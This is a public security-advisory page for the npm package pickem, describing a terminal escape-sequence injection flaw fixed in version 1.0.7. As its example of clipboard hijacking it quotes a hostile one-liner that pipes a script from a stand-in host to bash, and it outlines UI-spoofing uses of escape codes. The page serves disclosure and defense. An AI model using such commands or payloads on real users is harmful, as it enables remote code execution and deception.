Skip to content

← Public intelligence

npm package

pickem

Open actionable advisories and recorded vendor fixes. This public package view has no inventory attached and cannot establish whether your deployment is affected. A vendor fix never resolves your finding; verify your installed version and the source guidance.

Open advisories

1 actionable advisory, newest first. Withdrawn advisories and news are excluded. Coverage is partial.

  1. High, CVSS 8.6npmPublished

    pickem vulnerable to terminal escape-sequence injection via unsanitized item text

    GHSA-8qx3-8gm5-9cj2

    Affected
    • npm pickem < 1.0.7
    Fixed in
    1.0.7· Vendor fix available
    Issue
    Impact pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway. Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive: - OSC 52 clipboard write — silently load e.g. curl evil.sh | bash into the user's clipboard; their next paste-into-shell is RCE. - Cursor-movement + erase (ESC1A, ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry). - BEL / C0 control flooding. Any CLI that passes untrusted strings into pickem choices is affected. Patches Fixed in 1.0.7. A new sanitizeDisplay() strips every escape sequence except inert SGR (color), plus…

    Recommended action: Upgrade to 1.0.7 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →